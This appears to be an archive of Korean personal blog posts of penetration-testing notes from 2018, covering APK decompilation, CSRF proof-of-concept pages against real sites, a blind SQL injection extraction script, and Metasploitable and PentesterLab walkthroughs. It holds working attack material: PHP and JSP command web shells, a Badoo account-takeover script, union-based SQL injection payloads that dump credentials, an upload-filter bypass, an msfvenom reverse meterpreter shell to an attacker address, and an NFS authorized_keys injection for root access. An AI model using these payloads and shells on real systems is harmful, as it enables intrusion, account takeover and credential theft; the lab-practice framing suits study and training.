2018. 12. 30.

[모바일] 애플리케이션 디컴파일 방법

보통 모바일 취약점 점검이라고 하면 소스코드를 갖고 있지 않은 상태에서 디 컴파일을 통해 애플리케이션을 분석해야 한다. 일반적으로 사용하는 디컴파일 도구는 다음과 같다.




1. apktool
apktool 은 apk 파일로 압축되어 있는 resources.arsc, classes.dex, XML 파일들을 디버깅 파일 형태로 변환해주고, 이를 수정한 후에 다시 수정된 apk 파일로 생성 할 수 있는 도구다.


사용방법
- 앱을 디코드 하는 경우
java -jar apktool.jar d [option] [디코드 할 APK파일명].apk


- 앱을 컴파일 할 경우
java -jar apktool.jar b [option] [빌드할 APK 폴더 경로]






apktool 을 이용하여 app-release.apk 를 디코딩하여 디버깅 가능한 파일 형태로 변환해본다.




위와 같이 폴더가 생기면서 디코딩 된 것을 알 수 있다.




2. dex2jar
APK 파일이나 APK 파일에 포함된 classes.dex 파일을 자바 클래스 파일로 변환해주는 도구이다. 깃허브를 통해 오픈소스로 배포하고 있으며, 이에는 dex2jar 외에도 다양한 도구들이 포함되어 있다.
dex2jar 를 이용하고자 할 때 실행 파일 뒤에 대상 파일만 입력해주면, jar 확장자를 가진 파일로 변환해준다.




명령 실행 후에는 insecure Bankv2-dex2jar.jar 파일이 생성된 것을 알 수 있다. 생성된 jar 파일을 사용자가 읽을 수 있는 형태로 변환하기 위해서는 자바 파일로 디컴파일 해야한다. 자바 디컴파일러는 jd-gui.exe 를 실행하고 위에서 생성된 "InsecureBankv2-dex2jar.jar" 파일을 불러오면 자동으로 디컴파일된다.






** 지금까지는 JD-GUI 를 사용해왔지만 디컴파일 과정을 생략할 수 있는 도구인 BytecodeViewer를 설명한다. 이 앱은 디컴파일할 때 사용할 수 있을 뿐아니라 악성코드 앱을 분석할 때도 사용된다.


BytecodeViewer는 자바, 안드로이드, DEX, jars 파일 등과 같은 소스 코드 리버싱 분석 도구이다. 윈도우 환경에서 완벽하게 동작 할 수 있도록 지원한다. 안드로이드 APK 파일을 디컴파일하여 바이트코드 형태와 클래스 파일을 자바 파일로 변환한 후 소스파일로 복원하여 함께 보여준다.


download (https://github.com/konloch/bytecode-viewer/releases)
BytecodeViewer 2.9.8 버전을 다운받고 jar 파일을 시랳아혐 업데이트를 수행한다.


Continue reading

2018. 10. 28.

CSRF poc 코드

CSRF 취약점은 특정 사용자를 대상으로 하지 않고, 불특정 다수를 대상으로 로그인된 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 하게 만드는 공격이다.

XSS 공격은 악성 스크립트가 클라이언트에서 실행되는데 반해, CSRF 공격은 사용자가 악성 스크립트를 서버에 요청한다는 차이가 있다.

POST 로 진행 될 경우, 다음과 같이 CSRF 공격을 할 수 있다.
공격자는 이미 특정 물품을 구매하여 장바구니에 넣어두고, 해당 물품에 대한 결재를 다른 이를 통해 다음과 같은 형태로 수행 할 수 있다.


<html>
<body onload = "document.csrf.submit()">
<form name="csrf" action="http://www.shop.co.kr/mainadmin/order/order.jsp" method="POST">
<input type="hidden" name="uid" value="nike">
<input type="hidden" name="mode" value="pay_for_order">
<input type="hidden" name="amount" value="10000">
</form>
</body>
</html>

위 형태로 HTML 파일 형태로 저장을 해도 되고, 게시판 형태에 아래의 내용을 삽입 할 수 있다.


<body onload = "document.csrf.submit()">
<form name="csrf" action="http://www.shop.co.kr/mainadmin/order/order.jsp" method="POST">
<input type="hidden" name="uid" value="nike">
<input type="hidden" name="mode" value="pay_for_order">
<input type="hidden" name="amount" value="10000">
</form>
</body>

일반적으로 CSRF 가 성립하려면 수정/삭제/등록 등을 하는 액션에서 사용자를 구문하는 파라미터 값이 존재하지 않아야 한다. 특정 사용자를 구분하는 인수가 있으면 하나의 사용자에게만 적용되거나 인증 과정을 통해 CSRF 공격을 막을 수 있다.

------------------



case 1) 실사례를 보자, CSRF 취약점을 이용해서, 프로필의 트위터 계정을 연결해제를 시킬 수 있는 취약점이 존재하였다.

Vulnerable request
GET /auth/twitter/disconnect HTTP/1.1
Host: twitter-commerce.shopifyapps.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html, application/xhtml+xml, application/xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://twitter-commerce.shopifyapps.com/account
Cookie: _twitter-commerce_session=bmpuTE5EdnUvYUU0eGxJRk1kMWo5WkI3Wmh1clJkempOTDcya2R3eFNIMG8zWGdpenMvTXY4eFczTWUrNGRQeXV4ZGVycEVtTDZWcFZVbEg1eEtFQjhzSEJVbkM5K05VUVJaeHVtNXBnNTJCNTdwZ2hLL0x0Kyt4eUVlSjRIOWdYTkcwd1NQWWJnbjRNaTF5UXlwa1ZIUlAwR1JmZ1Y5WmRvN2ZHWFY5REZSUmlsR0lnMHZlSjR1OTlTMW5xWDdZRnVGSnBSeEhqbWpNS3lYZmxBNjZoVE00L3pQT2NMd1NONkdwb2pkMXhDS1E2M2RXYlovZjYwaUZnV0JQKzQySlN0MTNKNG55Zlg2azFDdVJJL3RidmJMM0VJNmRVejhZbjVDTnFZNmxFN0k9LS1lY1Y2dnpBZTJCalZzS014SldFUllBPT0%3D--77463ef21e4c8ef530f466db49f78b8e1c2e1129; _ga=GA1.2.469272249.1453024796; _gat=1
Connection: keep-alive

POC code

<html>
<body>
 <img src="https://twitter-commerce.shopifyapps.com/twitter/disconnect">
  </body>
</html>
// img 태그로 사이트에 요청(request)을 하는 방법도 있다는 것.
재현 절차

  • https://madamcury.myshopify.com/admin/apps/shopify-twitter에서 twitter 어플리케이션을 추가한다.
  • twitter 계정을 연동한다.
  • 위의 poc 코드를 이용해서 twitter 계정을 끊는다.


즉, POC 코드를 실행하는 것 만으로, 로그인된 사용자가 자신의 의지와는 무관하게 연동된 트위터 계정을 끊게 되는 것이다.

관련 사이트

  • Twitter Disconnect CSRF - https://hackerone.com/reports/111216


-----------------

case 2) get 메소드로 전송되는 앱 아이디 (숫자)를 자신의 아이디로 임의로 변경하여 서버에 전달

<html>
<head><title>csrf</title></head>
<body onLoad="document.forms[0].submit()">  <!-- 프로그램이 기동될때 submit 이 작동하도록 <input type="submit">  -->
<form action="https://app.shopify.com/services/partners/api_clients/1105664/
export_installed_users" method="GET">
</form>
</body>
</html>

submit 이란 함수는 input 또는 textarea 값을 저장해서 get/post 형식으로 데이터를 넘겨주는 함수이다. submit를 하기 위해서 먼저 form 을 이해해야 한다.
<formname="name" method="post" action="abc.jsp" id=frmtest">
폼의 이름이 name 이고 post 방식, 그리고 데이터 넘겨줄 페이지가 abc.jsp 라고 정의한 것이다.
이 폼을 submit 하기 위해서는 submit 버튼이 필요하다.
<input type="submit" value="전송">
하지만 위와 같이 클릭이 아닌, 이벤트로 submit 을 실행하기 위해서는 javascript를 사용해야 한다.



위에서 1105664를 본인의 app ID로 바꾸고 서버에 전달한다.


case 3)badoo 라는 앱 데이팅 사이트에서 CSRF 취약점이 발견된 사례이다.

badoo에서 로그인된 사용자가 gmail 연동할때, 사용자는 badoo에게 gmail 계정 사용을 위한 권한을 부여한다. 그리고 나서 아래 url로 리다이렉트 된다.

https://eu1.badoo.com/google/verify.phtml?rt=<State_param_value>&code=<Code_returned_from_google>

여기서부터 시작이다. CSRF 공격을 막기위해서는 위의 사용자/세션을 위한 고유정보인 rt 파라미터를 보호하는 것이다. 해커는 거의 모든 json 응답값에서 rt 파라미터가 반환되는것을 알았다.

https://eu1.badoo.com/worker-scope/chrome-service-worker.js
위의 javascript 파일에 rt 파라미터 값이 아래와 같은 형태로 포함되어 있는것을 발견했다.


var url_stats = 'https://eu1.badoo.com/chrome-push-stats?ws=1&rt=<rt_param_value>';

(지금 확인해 보니 저렇게 변경되었다.)


이를 통해, 맨 처음에 보았던 gmail 계정을 연동할 때 받았던 url 에 위 rt 파라미터 값을 삽입하여 세션을 탈취할 수 있다.



<html><head><title> Badoo account take over </title>
<script src=https://eu1.badoo.com/worker-scope/chrome-service-worker.js?ws=1></script>
</head>
<body>
<script>
function getCSRFcode(str) {
    return str.split('=')[2]; // = 를 기준으로 자르고 0,1,2 즉 3번째 문자열 반환, 예를 들면 how=old=are=you 라면 are 를 반환
}
window.onload = function(){   // 시작시 사용될 내용
var csrf_code = getCSRFcode(url_stats);  // rt 파라미터 값을 얻는다.
csrf_url = 'https://eu1.badoo.com/google/verify.phtml?code=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authuser=3&session_state=7cb85df679219ce71044666c7be3e037ff54b560..a810&prompt=none&rt='+ csrf_code;
window.location = csrf_url;
};
</script>

공격자가 자신의 gmail, facebook 계정을 희생자의 badoo 계정으로 연동하면, 공격자는 희생자의 badoo 계정을 획득할 수 있다.

#관련 근거

  • https://hackerone.com/reports/127703


#참고

  • http://terms.naver.com/entry.nhn?docId=3431919&cid=58437&categoryId=58437

Continue reading

2018. 9. 27.

[웹 취약점] blind sql 인젝션 자동화 스크립트

#!/usr/bin/python
import urllib, urllib2
import sys
 
# Connect URL
def urlcon(query):
    method = "id=" + urllib.quote(query)   # url encode
    #method += "&"
    #method += "pw=asd"
 
    url = urllib2.Request('http://testsite.com/cat.php?' + method)
    s = urllib2.urlopen(url)
 
    result = s.read()
 
    s.close()
 
    # Check
    if result.find("hacker") == -1:
        return 0    # failed
    else:
        return 1    # success
 
# Get a current DB Name
def get_db():
    length = 0
    db = ""
 
    for i in range(1, 30, 1):        # Get Length
        query = "1 or 1=1 and substr((select length(database())), 1, 2) = '{0}'#".format(i)
        if urlcon(query) == 1:
            length = i
            break
    
    print "Length : {0}".format(length)
    
    for i in range(length):
        for j in range(0, 127, 1):
            query = "1 or 1=1 and ascii(substr((select database()), {0}, 1)) = '{1}'#".format(i+1, j)
            if urlcon(query) == 1:
                db += chr(j)
                break
        print db
 
    print "================================================================="
    print "Result : " + db
 
    return db
 
# Get Tables
def get_table():
    tlist = []
    index = 0
 
    while 1:
        length = 0
        for i in range(1, 30, 1):        # Get Length
            query = "1 or 1=1 and substr((select length(table_name) from information_schema.tables where table_type='base table' limit {0},1),1,2) = '{1}' #".format(index, i)
            if urlcon(query) == 1:
                length = i
                break
 
        if length == 0:
            print "================================================================="
            print "Complete"
            break
        
        print "Length : {0}".format(length)
        table = ""
        for i in range(length):
            for j in range(0, 127, 1):
                query = "1 or 1=1 and ascii(substr((seltect table_name from information_schema.tables where table_type='base table' limit {0},1),{1},1)) = '{2}' #".format(index, i+1, j)
                if urlcon(query) == 1:
                    table += chr(j)
                    break
            print table
        tlist.append(table)
        index += 1
 
    print tlist
    return tlist
 
# Get Columns
def get_column(table):
    clist = []
    index = 0
 
    while 1:
        length = 0
        for i in range(1, 30, 1):        # Get Length
            query = "1 or 1=1 and substr((select length(column_name) from information_schema.columns where table_name='{0}' limit {1},1),1,2) = '{2}' #".format(table, index, i)
            if urlcon(query) == 1:
                length = i
                break
 
        if length == 0:
            print "================================================================="
            print "Complete"
            break
        
        print "Length : {0}".format(length)
        column = ""
        for i in range(length):
            for j in range(0, 127, 1):
                query = "1 or 1=1 and ascii(substr((select column_name from information_schema.columns where table_name='{0}' limit {1},1),{2},1)) = '{3}' #".format(table, index, i+1, 

j)
                if urlcon(query) == 1:
                    column += chr(j)
                    break
            print column
        clist.append(column)
        index += 1
 
    print clist
    return clist
 
# Get a Value
def get_value(table, ID):
    length = 0
    pw = ""
 
    for i in range(1, 30, 1):        # Get Length
        query = "1 or 1=1 and substr((select length(pw) from {0} where id='{1}' limit 0,1),1,2) = '{2}' #".format(table, ID, i)
        if urlcon(query) == 1:
            length = i
            break
    
    print "Length : {0}".format(length)
    
    for i in range(length):
        for j in range(0, 127, 1):
            query = "1 or 1=1 and ascii(substr((select pw from {0} where id='{1}' limit 0,1),{2},1)) = '{3}' #".format(table, ID, i+1, j)
            if urlcon(query) == 1:
                pw += chr(j)
                break
        print pw
 
    print "================================================================="
    print "Result : " + pw
 
    return pw
 
# Main Function
if __name__ == '__main__':
    print "================================================================="
    print "Blind SQL Injection"
    print "=================================================================\n"
 
    argc = len(sys.argv)
    if argc >= 2:
        if int(sys.argv[1]) == 1:
            get_db()
        elif int(sys.argv[1]) == 2:
            get_table()
        elif (int(sys.argv[1]) == 3) and sys.argv[2]:
            get_column(sys.argv[2])        # Table Name is "accounts".
        elif (int(sys.argv[1]) == 4) and sys.argv[2] and sys.argv[3]:
            get_value(sys.argv[2], sys.argv[3])    # Table Name is "accounts", ID is "tribal".
        else:
            print "Usage : {0}  [Table Name] [ID]".format(sys.argv[0])
    else:
        print "Usage : {0}  [Table Name] [ID]".format(sys.argv[0])

실행 결과

해결이 필요한 점
  • table_type='base table' 은 사용자가 만든 table을 의미한다.
  • pentesterlab 환경에서는 mysql 에서 select table_name from information_schema.tables where table_type='base table' 로 실행하면 26개의 결과가 출력되는지 왜 스크립트를 실행하면 3개만 나온다.


출처
  •  http://tribal1012.tistory.com/150

Continue reading

2018. 9. 17.

php :: (스코프 해결 연산자)

php 소스코드를 보면 :: 문자열을 볼 수 있다. 이는 static 이나 constant 와 클래스의 재정의된 프로퍼티나 메서드에 접근할 수 있도록 해주는 토큰이다.

class MyClass {
    const CONST_VALUE = 'A constant value';
}

$classname = 'MyClass';
echo $classname::CONST_VALUE; // As of PHP 5.3.0

echo MyClass::CONST_VALUE;

위와 같이 클래스 정의의 외부에서 이 항목들을 참조 할 때, 클래스의 이름을 사용한다.

Continue reading

[웹취약점] 소스코드 취약점 점검

소스코드 취약점 점검 관련 간단히 메모


1. 윈도우 일 경우, AstroGrep, Brackets, Everything

2. 유닉스 일 경우는 그저 find, grep,vi 로 다 해결된다.

** grep 명령어 예시
grep -H id /var/www/* 
-> /var/www/ 의 모든 폴더에서 'id' 라는 문자열을 포함하고 있는 모든 파일을 리스트업

grep -iH id /var/www/*
 -> i 를 붙임으로서 대소문자 구별 안함


grep -riH select /var/www
--> -r 옵션으로 하위 디렉토리에 있는 파일까지 검색한다.

** 리눅스 배포판에 따라 grep의 하위 디렉토리 검색이 안되는 경우도 있다고 한다.
그럴 경우, find . -name "*" | xargs grep -n "찾고자 하는 문자열"

find 를 같이 쓰면 좋은 점은 검색할 파일 유형을 지정할 수 있다. 예를 들어 하위 디렉토리의 모든 .c 파일, .h 파일에 대해서만 검색을 수행하고자 할때는 다음과 같이 할 수 있다.

find . -name "*.[ch]" | xargs grep -n "찾고자 하는 문자열"

vi 창 여러개 띄우기
-> sp /var/www/test.php // test.php 가 생긴다.
-> sp는 상하로 분할 하는것, vs 좌우로 분할 하는 것

vi에서 shell 실행하기
:shell 또는 :sh 로 쉘을 빠져나가서 명령어를 실행할 수 있다. 작업 후 exit 또는 ctrl+D 이용해서 다시 vi로 돌아갈 수 있다.



Continue reading

2018. 9. 10.

간단 웹쉘 jsp

/* PHP Version URL CMD WebShell           */

/* 사용법 : hxxp://URL/cmd.php?cmd=명령어 */



<?

        echo "

                <FORM ACTION=$PHP_SELF METHOD=POST>

                CMD : <INPUT TYPE=TEXT NAME=command SIZE=40>

                <INPUT TYPE=SUBMIT VALUE='Enter'></FORM>

                <HR>n<XMP>n$resultn</XMP><HR>";



        $command = str_replace("\", "", $command);

        echo "<XMP>"; passthru($command); echo "</XMP>";

?>







/* JSP Version URL CMD WebShell           */

/* 사용법 : hxxp://URL/cmd.jsp?cmd=명령어 */



<%@ page import="java.io.*" %>

<%

    try {

            String cmd = request.getParameter("cmd");

            Process child = Runtime.getRuntime().exec(cmd);

            InputStream in = child.getInputStream();

            int c;

          

            while ((c = in.read()) != -1) {

                out.print((char)c);

            }

          

            in.close();

          

            try {

                child.waitFor();

            } catch (InterruptedException e) {

                e.printStackTrace();

            }

    } catch (IOException e) {

        System.err.println(e);

    }

%>

Continue reading

2018. 8. 16.

[mutillidae] mutillidae 계정 생성 및 로그인

metasploit 에 mutillidae 가 설치되어 있는데 계정을 생성해도 생성되지 않는다. 그 이유는 metasploit.accounts  라는 테이블이 존재하지 않기 때문이다.
metasploit 에서 /var/www/multillidae/config.inc 에서 데이터베이스 명을 owasp10 으로 수정해야 한다.





# 참조
  • https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide
  • https://www.irongeek.com/i.php?page=videos/web-application-pen-testing-tutorials-with-mutillidae#determine-http-methods-using-netcat

Continue reading

2018. 8. 8.

[metasploitable] nmap 이후 발견된 서비스에 대한 공격 테스트


공격 시나리오 : nmap 구동하고 운영 중인 서비스에 대한 모든 공격테스트를 시행한다.

nmap 을 구동하고 나온 결과는 다음과 같다.

# 21번 ftp

p 서비스 
21번

현재 kali linux 에서 meta로 ftp 접속이 되지 않는 상황이다. (원인 파악 필요)

vsftpd 로 검색한 결과 다음의 모듈을 찾았고 바로 쉘이 실행된다.



# 22번 ssh

openssh 4.7 버전을 사용하고 있다.

ssh 192.168.203.130 -l msfadmin 을 입력하면 password 입력하여 로그인 할 수 있다.



hydra 를 이용한 패스워드 무차별 삽입 공격 실패
나중에 원인을 찾도록 한다.


# 23번 telnet

텔넷 서비스 접속을 시도하자 ID/PW 를 묻는다
- telnet 192.168.203.130

hydra 로 무차별 삽입 공격을 수행하자 passwd를 찾았다.





# samba 

nmap 결과로 버전명이 완벽하게 나와있지 않다. 3.x - 4.x 로 되어 있다. 정확한 버전을 알아내기 위해 auxiliary 모듈을 사용한다.

- use auxiliary/scanner/smb/smb_version
- set rhost [tartget ip]
- run


samba 버전이 3.0 이라는 것을 알게되었다. 이 내용으로 metasploit 내에서 search 명령어로 검색해도 되지만 구글에서 samba 3.0 metasploit 이라고 검색하면 내용을 확인 할 수 있다. (username_map_script)

- search username_map_script
- use exploit/multi/samba/usermap_script
- set rhost 192.168.203.130
- run

위 명령어를 통해 쉘을 취득할 수 있다.


# 513번 rlogin 



rlogin 취약점 내용

  • http://coashanee5.blogspot.com/2017/04/r-command.html


tcp port 512, 513, 514 는 r 서비스 이다. 513 rlogin 서비스는 일반 사용자가 특권 계층의 데이터에 접근 할 수 있는 취약점이다. 원격에서는 rlogin 으로 무차별 대입 공격을 할 수 있다.

# 2046번 nfs 

네트워크 파일 시스템(nfs) 에 대한 접근통제가 수행되지 않아 외부에서 공유 자원 목록을 확인 할 수 있다.

원격(kali linux)에서 서비스 설명 정보 출력이 가능하다.
(단, kali linux 기본 설정에서는 rpcinfo, showmount 명령어가 설치 되어 있지 않으니 수동으로 설치 해야한다.

  • sudo apt-get install apt-file
  • sudo apt-file update
  • apt-file search showmount
  • apt-get install nfs-common
)



그러면 이 취약점으로 무엇을 할 수 있을까.
ssh-keygen

ssh key 는 서버에 접속 할 때 비밀번호 대신 key 를 제출 하는 방식이며 이는, 1) 비밀번호보다 높은 수준의 보안을 필요로 할 때, 2) 로그인 없이 자동으로 서버에 접속 할 때 사용된다. 

(참조 https://opentutorials.org/module/432/3742)

ssh-keygen 명령어로 언급된 파일의 설명은 위와 같다. 

mount 명령어를 사용하여 192.168.203.130 파일 시스템을 임의로 만든 /tmp/r00t 디렉터리에 마운트 한다. -t 명령어로 타입을 지정해야한다. 마운트 하면 아래와 같이 metasploitable 의 최상위 폴더의 (/) 파일이 확인된다. 마운트가 정상적으로 된것이다. 
그 후 cat 명령어로 id_ras.pub, 즉 접속하려는 리모트 머신의 인증키를 /tmp/r00t/root/.ssh/authorized_keys에 저장한다.  
cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys  이 명령어로 192.168.203.130 파일의 인증키를 나의 인증키로 대체하는 것이다.


그러면서 ssh 에 접속하게 되면 바로 로그인된다. (root 디렉토리에  id_rsa의 내용이 담겨 있으므로 root@ 라고 입력한다. )

# 3306번 mysql

mysql 비밀번호 설정을 하지 않아서 원격에서 접속이 가능함


# 5432번 postgresql 

postgresql 기본 계정 정보 (postgres/postgres)가 취약하게 설정되어 있어서 외부에서 접속이 가능함


metasploit 으로 공격을 시도 할 수도 있다. 

- use/auxiliary/scanner/postgres/postgres_login
- show options
- set rhosts 192.168.203.130
- set verbose false (whether to print output for all attempts)
- run


hydra 를 이용한 무차별 삽입 공격


** postgres 명령어


postgres=# \dn
스키마(schema) 목록
  이름  |  소유주  
--------+----------
 public | postgres
(1개 행)

postgres=# select version();
                                            version                                            
-----------------------------------------------------------------------------------------------
 PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
(1개 행)

postgres-# \l
                   데이터베이스 목록
   이름    |  소유주  | 인코딩 |      액세스 권한      
-----------+----------+--------+-----------------------
 postgres  | postgres | UTF8   | 
 template0 | postgres | UTF8   | =c/postgres          +
           |          |        | postgres=CTc/postgres
 template1 | postgres | UTF8   | =c/postgres          +
           |          |        | postgres=CTc/postgres
(3개 행)

postgres=# select * from pg_user;
 usename  | usesysid | usecreatedb | usesuper | usecatupd |  passwd  | valuntil | useconfig 
----------+----------+-------------+----------+-----------+----------+----------+-----------
 postgres |       10 | t           | t        | t         | ******** |          | 
(1개 행)



** 히드라는 아래와 같이 상당히 다수의 프로토콜을 지원한다.
It supports: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB(NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.

# 5900번 VNC

취약한 패스워드에 대한 무차별 삽입 공격을 시도한다. 

- use auxiliary/scanner/vnc/vnc_login
- show options


- set verbose false
- set rhosts 192.168.203.130
- run



# 8180번 Apache tomcat/Coyote JSP engine 1.1

8180에 tomcat 구동 중이라는 것을 확인하였고 실제 브라우저에서 접속 확인을 한다. 
- firefox 192.168.203.130:8180
- firefox 192.168.203.130:8180/manager/html

metasploit 에서 로그인 공격을 수행 할 것이다. 

- search tomcat
- use auxiliary/scanner/http/tomcat_mgr_login
- set rhosts 192.168.203.130
- set rposts 8180
- run





# 참조
  • https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide

Continue reading

2018. 8. 7.

2018. 8. 6.

[PentestrLAB] from sql to shell 취약점 점검


PentesterLab 의 from sql to shell 에 관해 취약점 점검을 해본다.

만약 대역을 지정하고 살아있는 호스트를 검색한다면 nmap -sn x.x.x.x/24 라고 검색했을텐데 나는 특정 호스트의 IP 를 알고 있기 때문에 바로 상세 스캔을 진행한다.

# nmap 구동
nmap -sT -sV -A -O -v -p 1-65535 192.168.203.131


스캔 결과 80번 포트가 열려있고 Apache httpd 2.2.16 (Debian) 사용중이라는 정보를 얻을 수 있었다. 


# dirb 구동

# nikto 구동

# sql 인젝션 취약점 발견

1) union 방식








192.168.203.131/cat.php?id=1 에서 취약점을 확인하려 한다.

[order by 를 통한 취약점 확인]
http://testsite.com/cat.php?id=1 order by 1#
http://testsite.com/cat.php?id=1 order by 2#
http://testsite.com/cat.php?id=1 order by 3#
http://testsite.com/cat.php?id=1 order by 4#
http://testsite.com/cat.php?id=1 order by 5# -> 컬럼 갯수가 4개라면 order by 5에서 에러 발생 (여기서 컬럼이란, id, title, img, cat 이런 것을 의미함)


[having 을 통한 취약점 확인, mssql 인 경우만 해당됨]
testsite.com/cat.php?id=1 having 1=1#  --> 취약점이 있다면 에러발생

[union all select 를 통한 취약점 확인]
select * from test where id=1 union all select null; 
select * from test where id=1 union all select null, null; 
select * from test where id=1 union all select null, null, null;
select * from test where id=1 union all select null, null, null;
select * from test where id=1 union all select null, null, null,null;
select * from test where id=1 union all select null, null, null,null,null; --> 컬럼 갯수가 4개라면 5개 null 을 통해 에러 발생

[참 거짓으로 취약점 확인]
testsite.com/cat.php?id=1 or 1=1# -> 모든 컬럼이 노출되면 취약점 존재

[time 기반 취약점 확인]
testsite.com/cat.php?id=1 and sleep(5)# -> 5초후에 페이지가 뜬다면 취약점 존재

[정수기반 취약점 확인]
testsite.com/cat.php?id=2-1  -> id =1 일때와 동일한 결과를 출력하므로 취약

[취약점 존재가 확인되었고 데이터 출력을 시도함]
testsite.com/cat.php?id=1 union all select null,null,null,null; ->  데이터 출력 위치를 확인한다
testsite.com/cat.php?id=1 union all select null,@@version,null,null; -> 두번째 컬럼에서 함수가 실행되어 5.1.63-0+squeeze1가 출력되는 것을 알 수 있다.mysql 임을 확인하였다.

http://testsite.com/cat.php?id=1 union all select null,schema_name,null,null from information_schema.schemata; --> 스키마 name을 확인하였고, information_schema, photoblog라는 이름을 얻었다, 참고로 mysql 은 출력이 안됨


http://testsite.com/cat.php?id=1 union all select 1,database(),3,4; -->현재 사용하고있는데이터베이스 명을 알 수 있다.photoblog 이다.


http://testsite.com/cat.php?id=1 union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database(); --> 현재 사용하고 있는 데이터베이스 안에 있는 테이블을 알 수 있다. 

http://testsite.com/cat.php?id=1 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema in (0x70686f746f626c6f67) --> 데이터베이스가 phtoblog 인지 알았으니 in (헥스값) 으로 진행 할 수 있다.




http://testsite.com/cat.php?id=1 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name in (0x7573657273) --> 이와 같은 방식으로 users(0x7573657273) 테이블의 컬럼( id, login, password ) 를 알 수 있다.

http://testsite.com/cat.php?id=1 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=users -->이유는 모르겠지만 table_name=users 는 적용이 실행이 안된다.

http://testsite.com/cat.php?id=1 union all select 1,group_concat(concat_ws(0x3a,id,login,password)),3,4 from users; --> concat_ws를 사용하여 : 구분자를 이용한 데이터 출력이 가능하다. 1:admin:8efe310f9ab3efeae8d410a8e0166eb2라고 데이터를 확인 할 수 있다.

2) boolean 참 거짓 을 이용한 방법

** 풀네임으로 찾는 방법
http://testsite.com/cat.php?id=1 and (select 2 from users)=2  --> 이와 같이 users 라는 테이블이 있는지 직접적으로 확인 할 수 있다.
** 문자 하나하나씩 찾는 방법

# upload 공격
앞의 sql 인젝션 공격에서 관리자 계정을 취득하였다. (admin/P4ssw0rd)

192.168.203.131/admin 으로 접속해서 로그인을 하면 파일 업로드하는 페이지가 존재함을 확인하였다. (http://192.168.203.131/admin/new.php)

아래의 php 웹쉘 파일을 올려보겠다.


그러나 웹 사이트에서 php파일을 차단하였다. 그러나 php3 으로 변경하고 업로드 하니 성공하였다.

앞서 dirb 로 확인한 디렉토리 리스팅 취약점을 이용해 웹쉘파일을 실행하면 다음과 같이 웹쉘을 취득 할 수 있다.

nc를 이용해서 실제 쉘을 취득하려 한다.


** metasploit handler 를 이용하여 쉘 취득

1. msfvenom 을 이용해서 리버스 파일을 제작한다.
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.203.135  LPORT=4444 -f raw > shell.php
2. 파일을 업로드 한다. 업로드가 안되면 php3 등으로 바꿔본다.
3. 업로드에 성공하고 업로드 파일을 실행이 가능하게 된다.
4. kalil linux 에서 메타스플로잇을 실해하고 핸들러를 실행한다.

  • use multi/handler
  • set payload php_meterpreter_reverse_tcp
  • set lhost 192.168.203.135(공격자 ip)
  • set lport 4444
5. 핸들러 쉘의 정보는 위에서 만든 리버스 파일의 정보와 동일해야 한다.
6. run 또는 exploit 으로 핸들러를 실행한다. 
7. 웹에서 업로드한 리버스 파일을 실행하면 meterpreter 쉘이 떨어진다.



# 참조

  • http://poqw.tistory.com/24
  • https://medium.com/@Kan1shka9/pentesterlab-from-sql-injection-to-shell-walkthrough-7b70cd540bc8

Continue reading

2018. 8. 5.

metasploitable 설치

# Metasploitable 다운로드

  • https://sourceforge.net/projects/metasploitable/?source=typ_redirect
기본 계정 정보 (msfadmin/msfadmin)
root 비밀번호는 따로 설정해야한다. sudo -s 를 통해 root로 접속한후 passwd 명령어로 루트 비밀번호를 지정한다. (toor/toor) 
sudo와 su의 차이점 : sudo 는 일반사용자 자신의 비밀번호를 입력하고, su는 루트 비밀번호를 입력한다. 

root 계정으로 사용자 계정 추가 
- adduser test


** 추가, 윈도우 7 이미지 설치
- 90일 평가기간이 주어지므로 vmware 스냅샷 기능으로 활용하면 된다.
- 제대로된 공격시연을 위해서는 업데이트를 끄고 진행해야 한다.
- [Edit] → [Preferences…] → [Display 선택] → [Autofit guest 체크] 이후 Guest OS를 재부팅 한 이후 부터는 Vmware의 창 크기를 변경하면 해상도가 자동으로 변경되어 적용되는 것을 확인할 수 있다.
  • https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/
취약한 어플리케이션 설치

- https://www.exploit-db.com/exploits/638/  -->


실습환경
smail (https://www.exploit-db.com/exploits/638/)
adobe reader 8.1.2 (http://www.oldapps.com/adobe_reader.php?old_adobe=17)
java 7 (http://www.oldapps.com/java.php?app=48F54897524910CE60FBA3E124AE7EAD)

Continue reading

[Self Question] Linux 에서 윈도우로 ssh 접속

SSH, FTP 역시 윈도우 계정 정보로 로그인을 한다. 그러나 ssh 서비스는 열려 있는데 windows 계정 패스워드를 설정해놓지 않으면 로그인이 안된다. 패스워드가 있어야 로그인이 된다는 것이다.


hydra 로 로그인 무차별 삽입 공격한 모습이다. 취약한 암호는 간단하게 뚫려버리므로 복잡한 암호를 사용해야 한다. 

아래는 ncrack 으로 공격한 모습이다. 둘 다 결과를 빠르게 찾았다.


Continue reading

[kali linux] ftp 설정 및 메모 정보

kali linux 는 데비안 계열이다. debian 계열 ftp 설정에 관한 메모한다.

kali 를 처음 설치했을때 ftp가 기본으로 설치되어 있지 않기 때문에 직접 설치 해야한다.
- sudo apt-get install ftp
- apt-get install -y vsftpd
